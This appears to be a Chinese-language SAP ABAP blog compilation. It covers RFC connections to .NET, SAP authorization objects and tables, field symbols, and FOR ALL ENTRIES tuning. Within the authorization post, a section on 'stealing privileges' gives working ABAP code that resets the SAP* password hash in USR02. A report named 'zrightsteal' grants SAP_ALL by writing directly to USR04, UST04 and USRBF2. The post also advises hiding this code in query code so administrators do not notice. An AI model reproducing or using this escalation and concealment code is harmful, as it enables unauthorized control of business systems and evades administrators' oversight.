Change Object Directory Entries

RSWBO060

Include Objects in a Transport Request

SAPMSUU0

Program for user maintenance(SU01), Maybe useful if you do not have access to the actual SU01 transaction code.

9:50 | 添加評論 | 固定連結 | 寫入日志 | SAP ABAP

SAP如何通過RFC連接配接.NET(sap abap .net programming)

The following steps need to create server side application.

1. Create a SAP Connector Class - Application ( Under Visual C# Projects ) and give the RFC name and build the application.

2. Inside this application, write your .net code as per your requirement.

3. After completed, this application will create an exe file ( Under the folder binrelease ).

4. You need to pass the command line parameters to execute this exe file. Command line parameters are

-a<registeration Name> -g<SAP Server Name/IP Address> -X<Sap Gateway>

For example:-aREG -gSAPSER1 -xSAPGW00

5. Create a RFC destination in SM59, Under TCP/IP.Technical Settings --> Activation Type --> Registered Server Program ( Need to be selected ).

Program ID must be your registeration name : TDS - SAP的RFC中Program ID 在.NET裡面的名稱是随便命名的。

Gateway Options are

Gateway Host:SAPSER1(10.1.2.150)-SAP伺服器的IP位址

Gateway Service:SAPGW00-SAP網關

For the parameter Gateway Host, you should enter the hostname of your SAP application server. The value for the parameter Gateway Service is usually SAPGW<XX>, where the XX is the system number of your SAP system.

6. Write an ABAP program to call the RFC with destination as created in 5th setp.

7. The exe file should run in the same domain/LAN of your SAP server. You can test the connection in SM59.It should be obvoius that the main option is "Registered Server Program" and not "Start...".

And "ProgramID" or "registration name" is an arbitrary string that just need to be equal in SM59 and at the command line of the RFC server.

1.檢視.NET注冊的Program ID是否運作

It sounds like that another RFC server program with the same Program ID is running there and the SAP gateway is "balancing" the load between your RFC server and that one.

You can use SMGW->GoTo->Logged on Clients to check all registered RFC servers and their programIDs (TP name).

2.Tcode:SM59 - 建立RFC連接配接,選擇TCP/IP連接配接

3.Calling RFC .NET Server from SAP Programs

To execute our .NET server stub application from the SAP system we need to execute the ABAP command Call function X Destination Y. This report calls our proxy and writes the results to screen. Alternatively, you can use the SAP function module’ssingle test capability with the TRFC destination for your .NET server stub.

To create a TRFC destination for the SAP .NET server stub create a destination of type T (TRFC) in transaction code SM59. The program ID in your server stub is case sensitive.

Example

*&---------------------------------------------------------------------

*& Report ZRFCSERVERCALL

**&--------------------------------------------------------------------

*& This program can be used with the RFCServerConsole sample

*& Source is available in %RFCServerConsoleABAPProgram

*&---------------------------------------------------------------------

REPORT ZRFCSERVERCALL .

DATA: TBLCUST like BRFCKNA1 occurs 0 with header line.

PARAMETERS: P_CUSTNO like KNA1-KUNNR, P_CUSTNA like KNA1-NAME1,

P_DEST(15) TYPE C.

CALL FUNCTION 'RFC_CUSTOMER_GET' DESTINATION P_DEST

EXPORTING

KUNNR = P_CUSTNO

NAME1 = P_CUSTNA

TABLES

CUSTOMER_T = TBLCUST

EXCEPTIONS

NOTHING_SPECIFIED = 1

NO_RECORD_FOUND = 2

OTHERS = 3.

CASE SY-SUBRC.

WHEN 0.

LOOP AT TBLCUST.

WRITE: / SY-TABIX, TBLCUST-KUNNR, TBLCUST-NAME1, TBLCUST-ORT01.

ENDLOOP.

WHEN 1.

WRITE: / 'You need to specify a value ', SY-MSGV1.

WHEN 2.

WRITE: / '.NET component didnt find anything ', SY-MSGV1.

WHEN 3.

WRITE: / 'Some other error occurred ', SY-MSGV1.

WHEN OTHERS.

WRITE: / 'Something is wrong if we get here'.

ENDCASE.

The entry point in the C# method is the method with the function module name being called from the SAP system (for example, RFC_CUSTOMER_GET). In Microsoft Visual Studio, you can set a breakpoint here and examine the input values from the SAP system. This provides a similar idea to the ABAP_DEBUG functionality that is provided in the client proxy.

RFCServerConsole - is an SAP RFC Server implemented in C#.

The SAP system calls out to this .net component.

This component implements, RFC_CUSTOMER_GET and will return 2 customers to SAP. Before calling this

component from inside of SAP, you'll need a TCP/IP destination (SM59) - (type registration). Set the

SAP connection in the Visual Studio project properties for RFCServerConsole (e.g. right click on it)

Properties > Configuration Properties > Debugging > Command line arguments.

(example -aSomeProgID -gLOCALHOST -xSAPGW00)

The program id (-a) parameter must match exactly in your component and in the TCP/IP destination (SM59)

All you have to do in sm59 is write RFC destination , Program ID , Description .

The Program ID is important ,because it is just the SomeProgID (example -aSomeProgID -gLOCALHOST -xSAPGW00)run RFCServerConsole.exe -aSomeProgID -gLOCALHOST -xSAPGW00 in commond.exe

9:48 | 添加評論 | 固定連結 | 寫入日志 | SAP ABAP

SAP使用者權限解剖及自修改

通常basis會使用PFCG做權限管理,時你儲存時會産生一個系統外的profile name,

記得SU01時使用者有profile 和role兩欄位嗎?它們的關系如何呢?

首先明白幾個概念.

1.activity

這樣說吧,我們從activity談起,activity是什麼意思這個你查下

字典也就知道了,對就是規定可做什麼動作,比如說不能吸煙隻能喝酒,不能多于2兩,

不對,這是我老婆講的,SAP不是這樣子的,是隻能insert, update,display什麼的.

這些東西當年德國佬是寫在tobj表中的.

activity 也是可分activity group的.

2.activity category &Authorization group

Role Vs Profile

你看看表T020就知道了,就是什麼K,D, A, M什麼的.

profile是什麼呢?實際上可以了解為所有的authorization data(有很多authorization group--{你可使用OBA7填寫,權限太細也不是好事^_^}和activity組成)的一個集合的名字,通常一個自定義的role産

生一個profile,SAP權限控制是根據profile裡的authorization data(objects)來控制的.

role又是什麼呢?role隻是一個名字而已,然後将profile賦予給它, 比如你SU01建立一個

使用者,我沒有任何role,但是加如SAP_All profile也是可做任何事情.

SAP本身有很多default role & profile.

3.最常用的PFCG->authorizations->change authorization data->

進入後選取selection criteria 可看到所有的authorization object

manually可手工加authorization object,比如你使用某個t-code權限出錯誤,abap使用SU53檢查就

知道缺少哪個authorization objec,然後手工加入就可以.

你選去authorization levels就可by account type再細分權限.

有些甚至直接到表字段.而且你甚至可給一個object配置設定緩存buffer.

那麼SAP是如何做到權限控制的呢,屠夫就用刀小宰一下.

4.關于權限方面的幾個t-code.

(一)Role(角色)相關T-code:

PFAC         标準

PFAC_CHG 改變

PFAC_DEL 删除

PFAC_DIS 顯示

PFAC_INS 建立

PFAC_STR

PFCG 建立

ROLE_CMP 比較

SUPC 批量建立角色profile

SWUJ 測試

SU03            檢測authorzation data

SU25, SU26      檢查updated profile

(二)建立使用者相關T-code:

SU0

SU01

SU01D

SU01_NAV

SU05

SU50, Su51, SU52

SU1

SU10 批量

SU12 批量

SUCOMP:維護使用者公司位址

SU2 change使用者參數

SUIM 使用者資訊系統

使用者組

SUGR:維護

SUGRD:顯示

SUGRD_NAV:還是維護

SUGR_NAV:還是顯示

(三)關于profile&Authoraztion Data

SU02:直接建立profile不用role

SU20:細分Authorization Fields

SU21(SU03):****維護Authorization Objects(TOBJ,USR12).

對于憑證你可細分到:

F_BKPF_BED: Accounting Document: Account Authorization for Customers

F_BKPF_BEK: Accounting Document: Account Authorization for Vendors

F_BKPF_BES: Accounting Document: Account Authorization for G/L Accounts

F_BKPF_BLA: Accounting Document: Authorization for Document Types

F_BKPF_BUK: Accounting Document: Authorization for Company Codes

F_BKPF_BUP: Accounting Document: Authorization for Posting Periods

F_BKPF_GSB: Accounting Document: Authorization for Business Areas

F_BKPF_KOA: Accounting Document: Authorization for Account Types

F_BKPF_VW : Accounting Document: Change Default Values for Doc.Type/PsKy

然後你進去還可細分,這些個東西是save在USR12表中的. 在DB層是UTAB.

對具體transaction code細分:   

SU22,SU24

SU53:*** 就是你出錯用來檢查沒有那些authoraztion objects.

SU56:分析authoraztion data buffers.

SU87:用來檢查使用者改變産生的history

SU96,SU97,SU98,SU99:幹啥的?

SUPC:批量産生role

DB和logical層:

SUKRI:Transaction Combinations Critical for Security

tables:

TOBJ : All avaiable authorzation objects.(全在此)

USR12: 使用者級authoraztion值

-----------------------------

USR01:主資料

USR02:密碼在此

USR04:授權在此

USR03:User address data

USR05:User Master Parameter ID

USR06:Additional Data per User

USR07:Object/values of last authorization check that failed

USR08:Table for user menu entries

USR09:Entries for user menus (work areas)

USR10:User master authorization profiles

USR11:User Master Texts for Profiles (USR10)

USR12:User master authorization values

USR13:Short Texts for Authorizations

USR14:Surchargeable Language Versions per User

USR15:External User Name

USR16:Values for Variables for User Authorizations

USR20:Date of last user master reorganization

USR21:Assign user name address key

USR22:Logon data without kernel access

USR30:Additional Information for User Menu

USR40:Table for illegal passwords

USR41:目前使用者

USREFUS:

USRBF2

USRBF3

UST04:User Profile在此

UST10C: Composite profiles

UST10S: Single profiles (角色對應的

UST12 : Authorizations..............................

..............................

如何竊取權限

..............................

使用者:

User type使用者類型(幹啥用的不講):

通常的使用者類型有

a.dialog (就是normal user)

b.communication

c.system

d.service

e.reference.

通常你在使用任何T-code前一定會有權限檢測的.

AUTHORITY_CHECK:這個函數隻是小檢查一下你的user有沒有,什麼時候過期.

**如果coding隻要使用此函數就夠了.

AUTHORITY_CHECK_TCODE:檢查T-code

這倆函數是真正檢查autorization objects的.

SUSR_USER_AUTH_FOR_OBJ_GET:

AUTHORIZATION_DATA_READ_SELOBJ:

------------------------------------------

将SAP*的密碼改成123的程式,很簡單.

我們找到那個user logon表USR02.

(DF52478E6FF90EEB是經過SAP加密儲存在DB的,哪位老兄研究過SAP的密碼加密?)

report zmodSAP*.

data zUSR02 like USR02 .

select single * into zUSR02 from USR02

where BNAME = 'SAP*'.

zUSR02-Bcode = 'DF52478E6FF90EEB' .

Update USR02 from zUSR02 .

現在的問題是如何讓你那basis不發現,很簡單,将code隐藏在Query裡面,就是說你做一個

query,query是會産生code的,然後你加入此代碼,誰能想到???然後你就等你的basis去哭...

這樣做太狠毒了.還是自己偷偷搞自己的使用者吧.

在此你必須對權限結構非常清晰.

權限和三個表有關系.

a.USR04

b.USR04

c.USRBF2 這個表是對應到所用的authorzization objects的.

*&---------------------------------------------------------------------*

*& Report        : Steal SAP ALL Right                                 *

*& Creation Date : 2004.04.01                                          *

*& Created by    : Stone.Fu                                            *

*& Description   : 可竊取SAP ALL權限                                     *

*& Modified Date : 2005.11.02

*& Description   : 将此code hide在report painter or query code        *

*&---------------------------------------------------------------------*

report zrightsteal.

data zUSR04 like USR04 . "????????work area??

data zUST04 like USR04 .

data zPROFS like USR04-PROFS.

data ZUSRBF2 like USRBF2 occurs 0 with header line.

"USRBF2?????internal table

** Update Authorization table USR04.

select single * into zUSR04 from USR04

where BNAME = 'ZABC2'. "SAP All 權限

move 'C SAP_ALL' to zPROFS .

ZUSR04-NRPRO = '14'.

zUSR04-PROFS = zPROFS.

Update USR04 from zUSR04 .

**Update User authorization masters table UST04 .

select single * into zUST04 from UST04

where BNAME = 'ZABC2'.

zUST04-PROFILE = 'SAP_ALL'. "SAP all 權限

Update UST04 from zUST04 .

*?????insert

*ZUST04-MANDT = '200'.

*ZUST04-BNAME = 'ZABC2'.

*ZUST04-PROFILE = 'SAP_ALL'.

*Insert UST04 from ZUST04 .

select * from USRBF2 into table ZUSRBF2

where BNAME = 'SAP*' .

Loop at ZUSRBF2.

ZUSRBF2-BNAME = 'ZABC2'.

Modify ZUSRBF2 INDEX sy-tabix TRANSPORTING BNAME.

endloop.

INSERT USRBF2 FROM TABLE ZUSRBF2 ACCEPTING DUPLICATE KEYS.

自己建立一個ztest使用者不給它任何權限然後在test machine上run 報表zrightsteal.

然後ztest就是SAP_ALL了, 然後你将code hide在SQP query的code中. ABAP code太容易被人發現.

from http://space.itpub.net/?uid-13946941-action-viewspace-itemid-468329

9:32 | 添加評論 | 固定連結 | 寫入日志 | SAP ABAP

SAP ABAP--通過Field-symbols修改内表( same as c and c++ point)

1.      什麼是ABAP指針:

在ABAP裡面,field symbol就相當于c語言的指針。如果你定義并且配置設定了相應的結構或者變量給它,其實它就指

向這個結構或者變量的位址,如果修改了field symbol的值,則相應結構或者變量的值也随之更改。

2.      如何定義指針:

基本形式:FIELD-SYMBOLS <fs>.

附加資訊:

  1. ... TYPE :定義一個資料類型,然後定義指針

  2. ... TYPE REF TO :指針指向類或者接口

  3. ... TYPE REF TO :指針指向資料結構

  4. ... TYPE LINE OF :指針内表的行項目

  5. ... LIKE :指針為資料庫表類型

  6. ... LIKE LINE OF :指針類型為資料庫表的行項目

3.      如何配置設定指針:

(1). ASSIGN f TO .:配置設定一個指針,包括以下幾種類型

1. ... CASTING ... :主要對unicode系統地操作

  1a. ... CASTING

  1b. ... CASTING TYPE type

  1c. ... CASTING ... DECIMALS dec

  1d. ... CASTING LIKE f1

2. ... TYPE type :直接指定類型

3. ... DECIMALS dec :指定小數點位數

4. ... RANGE range:指定範圍

(2). 配置設定結構中的某個字段給指針

ASSIGN COMPONENT idx  OF STRUCTURE struc TO .

ASSIGN COMPONENT name OF STRUCTURE struc TO .

(3). 配置設定類的方法給指針

ASSIGN dref->* TO .

(4). 從f開始,是f的n倍長之後的内容配置設定給指針

ASSIGN f INCREMENT n TO .

(5). 配置設定局部變量給指針

ASSIGN LOCAL COPY

    3a. ASSIGN LOCAL COPY OF f TO .

    3b. ASSIGN LOCAL COPY OF INITIAL f TO .

    3c. ASSIGN LOCAL COPY OF INITIAL LINE OF itab TO .

    4c. ASSIGN LOCAL COPY OF MAIN TABLE FIELD (f) TO .

(6). ASSIGN dynamicJ:動态配置設定指針

    4a. ASSIGN (f) TO .

    4b. ASSIGN oref->(f) TO .

    4c. ASSIGN (f1)=>(f2) TO .

    4d. ASSIGN TABLE FIELD (f) TO .

    4e. ASSIGN LOCAL COPY OF MAIN TABLE FIELD (f) TO .

    4f. ASSIGN LOCAL COPY OF ... (f) TO .

4.      如何取消配置設定:

    UNASSIGN .

不清楚内表内表到底是itab還是itab2,但是又要通路内表裡的第2個字段。是以在loop的時候不能用to到一個結構體,而要用assigning一個指向ANY的指針,然後進行後面的操作。

IF n = 1.

  ASSIGN itab[] TO <tab_fs>. " <tab_fs>是指向standard table的

ELSE.

  ASSIGN itab2[] TO <tab_fs>.

ENDIF.

LOOP AT <tab_fs> ASSIGNING <wa_fs>.

  ASSIGN COMPONENT 2 OF STRUCTURE <wa_fs> TO <field_fs>. ”filed_fs是ANY的

  WRITE: / <field_fs>.

ENDLOOP.

具體實作:

1.結構的動态查詢

DEFINE SELECT_DATA_TO_WA.

  SELECT &1

    FROM &2

    INTO CORRESPONDING FIELDS OF &3

   WHERE (&4).

    EXIT.

  ENDSELECT.

END-OF-DEFINITION.

2.變量的動态查詢

DEFINE SELECT_DATA_TO_VARIANT.

  SELECT &1

    FROM &2

    INTO &3

   WHERE (&4).

    EXIT.

  ENDSELECT.

END-OF-DEFINITION.

3.内表的動态查詢

DEFINE SELECT_DATA_TO_VARIANT.

  SELECT &1

    FROM &2

    INTO CORRESPONDING FIELDS OF TABLE &3

   WHERE (&4).

    EXIT.

  ENDSELECT.

END-OF-DEFINITION.

具體程式實作:

DATA: L_FIELD(100) TYPE C,

      L_TABLE(10)  TYPE C,

      L_COND(100)  TYPE C.

DATA: I_COND TYPE TALBE OF L_COND.

FIELD-SYMBOLS TYPE ANY.

START-OF-SELECTION.

  CONCATENATE 'CARRID' 'CONNID' 'CITYFROM'

         INTO L_S

  SEPARATE BY SPACE.

  CONCATENATE 'CONNID = ' '0123'

         INTO L_COND.

APPEND COND TO I_COND.

L_TABLE = 'SPFLI'.

IF IS ASSIGNED.

  UNASSIGN .

  ASSIGN SPFLI TO .

ELSE.

  ASSIGN SPFLI TO .

ENDIF.

SELECT_DATA_TO_WA (L_S) (L_TABLE) I_COND.

=================================================================================

FIELD-SYMBOLS CASTING

REPORT z_barry_fs_casting.

TYPES: BEGIN OF t_date,

          year(4)  TYPE n,

          month(2) TYPE n,

          day(2)   TYPE n,

       END OF t_date.

FIELD-SYMBOLS <fs> TYPE t_date.

ASSIGN sy-datum TO <fs> CASTING.

WRITE: / sy-datum,

       / <fs>-year , / <fs>-month, / <fs>-day.

=================================================================================

光标操作

DATA: w_fname(20) TYPE c,

      w_val(10) TYPE c.

PARAMETERS: p1(10) TYPE c,

            p2(10) TYPE c,

            p3(10) TYPE c.

AT SELECTION-SCREEN.

  CHECK sy-ucomm IS INITIAL.

  GET CURSOR FIELD w_fname VALUE w_val.

  CHECK w_val IS INITIAL.   "如果沒有輸入

  CLEAR w_fname.

AT SELECTION-SCREEN OUTPUT.

  CASE w_fname.

    WHEN 'P1'.

      CLEAR w_fname.

      SET CURSOR FIELD 'P2'.

    WHEN 'P2'.

      CLEAR w_fname.

      SET CURSOR FIELD 'P3'.

  ENDCASE.

  ======================================================================

ABAP--Field Symbol 的Example(來自SAP的樣例)

Full type specification

REPORT demo_field_symbols_type .

DATA: BEGIN OF line,

         col1(1) TYPE c,

         col2(1) TYPE c VALUE 'X',

       END OF line.

FIELD-SYMBOLS <fs> LIKE line.

ASSIGN line TO <fs>.

MOVE <fs>-col2 TO <fs>-col1.

WRITE: <fs>-col1, <fs>-col2.

Forcing structures

REPORT demo_field_symbols_structure .

DATA: wa(10) TYPE c VALUE '0123456789'.

DATA: BEGIN OF line1,

         col1(3) TYPE c,

         col2(2) TYPE c,

         col3(5) TYPE c,

      END OF line1.

DATA: BEGIN OF line2,

         col1(2) TYPE c,

         col2 TYPE sy-datum,

      END OF line2.

* obsolete -------------------------------------------------------------

FIELD-SYMBOLS: <f1> STRUCTURE line1 DEFAULT wa,

               <f2> STRUCTURE line2 DEFAULT wa.

* correct --------------------------------------------------------------

FIELD-SYMBOLS <f3> LIKE line1.

ASSIGN wa TO <f3> CASTING.

FIELD-SYMBOLS <f4> LIKE line2.

ASSIGN wa TO <f4> CASTING.

* ----------------------------------------------------------------------

WRITE: / <f1>-col1, <f1>-col2, <f1>-col3,

       / <f2>-col1, <f2>-col2.

SKIP.

WRITE: / <f3>-col1, <f3>-col2, <f3>-col3,

       / <f4>-col1, <f4>-col2.

Static assign

REPORT demo_field_symbols_stat_assign .

FIELD-SYMBOLS: <f1> TYPE ANY, <f2> TYPE i.

DATA: text(20)  TYPE c VALUE 'Hello, how are you?',

      num       TYPE i VALUE 5,

      BEGIN OF line1,

        col1 TYPE f VALUE '1.1e+10',

        col2 TYPE i VALUE '1234',

      END OF line1,

      line2 LIKE line1.

ASSIGN text TO <f1>.

ASSIGN num TO  <f2>.

DESCRIBE FIELD <f1> LENGTH <f2>.

WRITE: / <f1>, 'has length', num.

ASSIGN line1 TO <f1>.

ASSIGN line2-col2 TO <f2>.

MOVE <f1> TO line2.

ASSIGN 'LINE2-COL2 =' TO <f1>.

WRITE: / <f1>, <f2>.

Assign with offset

REPORT demo_field_symbols_stat_as_off .

FIELD-SYMBOLS <fs> TYPE ANY.

DATA: BEGIN OF line,

        string1(10) VALUE '0123456789',

        string2(10) VALUE 'abcdefghij',

      END OF line.

WRITE / line-string1+5.

ASSIGN line-string1+5 TO <fs>.

WRITE / <fs>.

ASSIGN line-string1+5(*) TO <fs>.

WRITE / <fs>.

REPORT demo_field_symbols_stat_as_of2 .

FIELD-SYMBOLS <fs> TYPE ANY.

DATA: BEGIN OF line,

        a TYPE c VALUE '1', b TYPE c VALUE '2',

        c TYPE c VALUE '3', d TYPE c VALUE '4',

        e TYPE c VALUE '5', f TYPE c VALUE '6',

        g TYPE c VALUE '7', h TYPE c VALUE '8',

      END OF line,

      off TYPE i,

      len TYPE i VALUE 2.

DO 2 TIMES.

  off = sy-index * 3.

  ASSIGN line-a+off(len) TO <fs>.

  <fs> = 'XX'.

ENDDO.

DO 8 TIMES.

  off = sy-index - 1.

  ASSIGN line-a+off(1) TO <fs>.

  WRITE <fs>.

ENDDO.

Dynamic assign

REPORT demo_field_symbols_dynami_as_2 .

TABLES sbook.

DATA: name1(20) TYPE c VALUE 'SBOOK-FLDATE',

      name2(20) TYPE c VALUE 'NAME1'.

FIELD-SYMBOLS <fs> TYPE ANY.

ASSIGN TABLE FIELD (name1) TO <fs>.

WRITE: / 'SY-SUBRC:', sy-subrc.

ASSIGN TABLE FIELD (name2) TO <fs>.

WRITE: / 'SY-SUBRC:', sy-subrc.

Assigning field symbols

REPORT demo_field_symbols_dynami_as_3 .

DATA: BEGIN OF s,

        a TYPE c VALUE '1', b TYPE c VALUE '2', c TYPE c VALUE '3',

        d TYPE c VALUE '4', e TYPE c VALUE '5', f TYPE c VALUE '6',

        g TYPE c VALUE '7', h TYPE c VALUE '8',

      END OF s.

DATA off TYPE i.

FIELD-SYMBOLS <fs> TYPE ANY.

ASSIGN s-a TO <fs>.

DO 4 TIMES.

  off = sy-index - 1.

  ASSIGN <fs>+off(1) TO <fs>.

  WRITE <fs>.

ENDDO.

Assigning a structure by component

REPORT demo_field_symbols_assign_comp .

DATA: BEGIN OF line,

        col1 TYPE i VALUE '11',

        col2 TYPE i VALUE '22',

        col3 TYPE i VALUE '33',

      END OF line.

DATA comp(5) TYPE c VALUE 'COL3'.

FIELD-SYMBOLS: <f1> TYPE ANY, <f2> TYPE ANY, <f3> TYPE ANY.

ASSIGN line TO <f1>.

ASSIGN comp TO <f2>.

DO 3 TIMES.

  ASSIGN COMPONENT sy-index OF STRUCTURE <f1> TO <f3>.

  WRITE <f3>.

ENDDO.

ASSIGN COMPONENT <f2> OF STRUCTURE <f1> TO <f3>.

WRITE / <f3>.

Casting with field symbol type

REPORT demo_field_symbols_casting.

TYPES: BEGIN OF t_date,

          year(4)  TYPE n,

          month(2) TYPE n,

          day(2)   TYPE n,

       END OF t_date.

FIELD-SYMBOLS <fs> TYPE t_date.

ASSIGN sy-datum TO <fs> CASTING.

WRITE / sy-datum.

SKIP.

WRITE: / <fs>-year , / <fs>-month, / <fs>-day.

Casting with explicit type

REPORT demo_field_symbols_casting_typ.

TYPES: BEGIN OF t_date,

          year(4)  TYPE n,

          month(2) TYPE n,

          day(2)   TYPE n,

       END OF t_date.

FIELD-SYMBOLS: <fs> TYPE ANY,

               <f>  TYPE n.

ASSIGN sy-datum TO <fs> CASTING TYPE t_date.

WRITE / sy-datum.

SKIP.

DO.

  ASSIGN COMPONENT sy-index OF STRUCTURE <fs> TO <f>.

  IF sy-subrc <> 0.

    EXIT.

  ENDIF.

  WRITE / <f>.

ENDDO.

Casting with predefined data types

REPORT demo_field_symbols_assign_type .

DATA txt(8) TYPE c VALUE '19980606'.

DATA mytype(1) VALUE 'X'.

FIELD-SYMBOLS <fs> TYPE ANY.

ASSIGN txt TO <fs>.

WRITE / <fs>.

SKIP.

* obsolete -------------------------------------------------------------

ASSIGN txt TO <fs> TYPE 'D'.

WRITE / <fs>.

ASSIGN txt TO <fs> TYPE mytype.

WRITE / <fs>.

SKIP.

* correct --------------------------------------------------------------

ASSIGN txt TO <fs> CASTING TYPE d.

WRITE / <fs>.

ASSIGN txt TO <fs> CASTING TYPE (mytype).

WRITE / <fs>.

Casting decimla places

REPORT demo_field_symbols_assign_deci .

DATA: pack1 TYPE p DECIMALS 2 VALUE '400',

      pack2 TYPE p DECIMALS 2,

      pack3 TYPE p DECIMALS 2.

FIELD-SYMBOLS: <f1> TYPE ANY ,

               <f2> TYPE ANY.

WRITE: / 'PACK1', pack1.

SKIP.

* obsolete -------------------------------------------------------------

ASSIGN pack1 TO <f1> DECIMALS 1.

WRITE: / '<F1> ', <f1>.

pack2 = <f1>.

WRITE: / 'PACK2', pack2.

ASSIGN pack2 TO <f2> DECIMALS 4.

WRITE: / '<F2> ', <f2>.

pack3 = <f1> + <f2>.

WRITE: / 'PACK3', pack3.

<f2> = '1234.56789'.

WRITE: / '<F2> ', <f2>.

WRITE: / 'PACK2', pack2.

SKIP.

* correct --------------------------------------------------------------

ASSIGN pack1 TO <f1> CASTING TYPE p DECIMALS 1.

WRITE: / '<F1> ', <f1>.

pack2 = <f1>.

WRITE: / 'PACK2', pack2.

ASSIGN pack2 TO <f2> CASTING TYPE p DECIMALS 4.

WRITE: / '<F2> ', <f2>.

pack3 = <f1> + <f2>.

WRITE: / 'PACK3', pack3.

<f2> = '1234.56789'.

WRITE: / '<F2> ', <f2>.

WRITE: / 'PACK2', pack2.

Data areas for field symbols

REPORT demo_field_symbols_assign_err .

DATA: text1(10) TYPE c, text2(10) TYPE c, text3(5) TYPE c.

FIELD-SYMBOLS <fs> TYPE ANY.

DO 100 TIMES.                          "Runtime-Error!

  ASSIGN text1+sy-index(1) TO <fs>.

ENDDO.

Data references

REPORT demo_data_reference.

TYPES: BEGIN OF t_struct,

         col1 TYPE i,

         col2 TYPE i,

       END OF t_struct.

DATA: dref1 TYPE REF TO data,

      dref2 TYPE REF TO data.

FIELD-SYMBOLS: <fs1> TYPE t_struct,

               <fs2> TYPE i.

CREATE DATA dref1 TYPE t_struct.

ASSIGN dref1->* TO <fs1>.

<fs1>-col1 = 1.

<fs1>-col2 = 2.

dref2 = dref1.

ASSIGN dref2->* TO <fs2> CASTING.

WRITE / <fs2>.

GET REFERENCE OF <fs1>-col2 INTO dref2.

ASSIGN dref2->* TO <fs2>.

WRITE / <fs2>.

===========================================================================

ABAP--通過Field-symbols修改内表

report demo_field_symbols_assign_comp .

DATA: BEGIN OF gs_itab,

      drph(10) ,

      cmsl01(17),

      cmsl02(17),

      sl01(17),

      sl02(17),

      END OF gs_itab.

DATA: gt_ita1 LIKE gs_itab OCCURS 0 WITH HEADER LINE.

data gv_zd(15).

FIELD-SYMBOLS <sl> TYPE c.

FIELD-SYMBOLS <cmsl> TYPE c.

FIELD-SYMBOLS <fs> LIKE LINE OF gt_ita1.

DO 15 TIMES.

  gt_ita1-drph =  SY-INDEX .

  gt_ita1-cmsl01 = 2.

  append gt_ita1.

enddo.

write 'Before Modify:'.

write:/ 'cmsl01','cmsl02','sl01','sl02'.

loop at gt_ita1.

  write:/ '|',gt_ita1-cmsl01,'|',gt_ita1-cmsl02,'|',gt_ita1-sl01,'|' ,gt_ita1-sl02,'|'.

endloop.

loop at gt_ita1 aSSIGNING <fs>.

  ASSIGN COMPONENT 'CMSL01' OF STRUCTURE <fs> TO <cmsl>.

  ASSIGN COMPONENT 'SL01' OF STRUCTURE <fs> TO <sl>.

  move <cmsl>  to  <sl>.

  ASSIGN COMPONENT 'SL02' OF STRUCTURE <fs> TO <sl>.

  move <cmsl>  to  <sl>.

  <fs>-CMSL02 = 'A' .

endloop.

write / 'After Modify:'.

loop at gt_ita1.

  write:/ '|',gt_ita1-cmsl01,'|',gt_ita1-cmsl02,'|',gt_ita1-sl01,'|' ,gt_ita1-sl02,'|'.

endloop.

注意:ASSIGN TABLE FIELD (f) TO <fs>. 隻能用TABLES定義的變量

An important, but frequently misunderstood aspect of ABAP, is the "Field Symbol". But you'll find they aren't mysterious. In fact, they may remind you of some features in popular general-purpose programming languages.

Field symbols allow you to:

** Assign an alias to a data object(for example, a shortened name for data objects structured through several hierarchies

        For Example: <fs>-f instead of rec1-rec2-rec3-f)

** Set the offset and length for a string variably at runtime

** Set a pointer to a data object that you determine at runtime (dynamic ASSIGN)

** Adopt or change the type of a field dynamically at runtime

** Access components of a structure (from Release 4.5A) Point to lines of an internal table (process internal tables without a separate work area)

Field symbols in ABAP are similar to pointers in other programming languages. However, pointers (as used in PASCAL or C) differ from ABAP field symbols in their reference syntax.

The statement ASSIGN f to <fs> assigns the field f to field symbol <fs>. The field symbol <fs> then "points" to the contents of field f at runtime. This means that all changes to the

contents of f are visible in <fs> and vice versa. You declare the field symbol <fs> using the statement FIELD-SYMBOLS: <fs>.

Reference syntax

Programming languages such as PASCAL and C use a dereferencing symbol to indicate the difference between a reference and the object to which it refers; so PASCAL would use p^ for a pointer instead of p, C would use *p instead of p. ABAP does not have any such dereferencing symbol.

** In PASCAL or C, if you assign a pointer p1 to a pointer p2, you force p1 to point to the object to which p2 refers (reference semantics).

** In ABAP, if you assign a field symbol <fs1> to a field  symbol <fs2>, <fs1> takes the value of the data object to which <fs2> refers (value semantics).

** Field symbols in ABAP are always dereferenced, that is, they always access the referenced data object. If you want to change the reference yourself in ABAP, you can use the ASSIGN statement

to assign field symbol <fs1> to field symbol <fs2>.

參考連結:http://blog.csdn.net/CompassButton/archive/2007/06/15/1653907.aspx

http://blog.csdn.net/CompassButton/archive/2007/06/15/1653157.aspx

=======================

溝通無限

msn:[email protected]

9:28 | 添加評論 | 固定連結 | 寫入日志 | SAP ABAP 4月3日

sap ABAP "FOR ALL ENTRIES IN" 使用指南

SAP ABAP Performance Tuning

Tips & Tricks

Use of FOR ALL Entries

Use of FOR ALL Entries

Outer join can be created using this addition to the where clause in a select statement. It speeds up the performance tremendously, but the cons of using this variation are listed below

  1. Duplicates are automatically removed from the resulting data set. Hence care should be taken that the unique key of the detail line items should be given in the select statement.
  2. If the table on which the For All Entries IN clause is based is empty, all rows are selected into the destination table. Hence it is advisable to check before-hand that the first table is not empty.
  3. If the table on which the For All Entries IN clause is based is very large, the performance will go down instead of improving. Hence attempt should be made to keep the table size to a moderate level.

Not Recommended

            Loop at int_cntry.

             Select single * from zfligh into int_fligh

where cntry = int_cntry-cntry.

Append int_fligh.

            Endloop.

Recommended

            Select * from zfligh appending table int_fligh

            For all entries in int_cntry

            Where cntry = int_cntry-cntry.

在ABAP開發中,對于不能使用join的聚集表或者需要使用SELECT 的内表,我們一般使用for all entries in 語句将該表與内表串聯,查詢出需要的資料,例如: BSEG聚集表為例,如下:

SELECT bseg~kunnr

       bseg~lifnr    

       bseg~belnr

INTO TABLE itab_bseg

FROM bseg

   FOR ALL ENTRIES IN itab_main

WHERE bukrs in _bukrs

and ( belnr = itab_main-belnr

    AND hkont = itab_main-hkont ).

由于BSEG不能和BSIS做inner join是以先将BSIS内容放到itab_main 中,然後用 FOR ALL ENTRIES IN來串聯。

1-WHERE子句中的bukrs in _bukrs是指bseg-bukrs存在于_bukrs這個select-options中,_bukrs不是itab_main的field是以這部分不包括在括号中.

當然會增加記憶體使用了。

原本一個條件,數次(驅動表的紀錄條數)向對DB操作,

使用了FOR ALL ENTRIES後,

相當于把驅動表裡的條件字段的所有值用OR 連起來,

一次對DB操作,

條件語句增大,勢必使記憶體占用增多。

1.SELECT CARRID

CONNID

PRICE

FROM SFLIGHT

INTO TABLE IT_PRICE

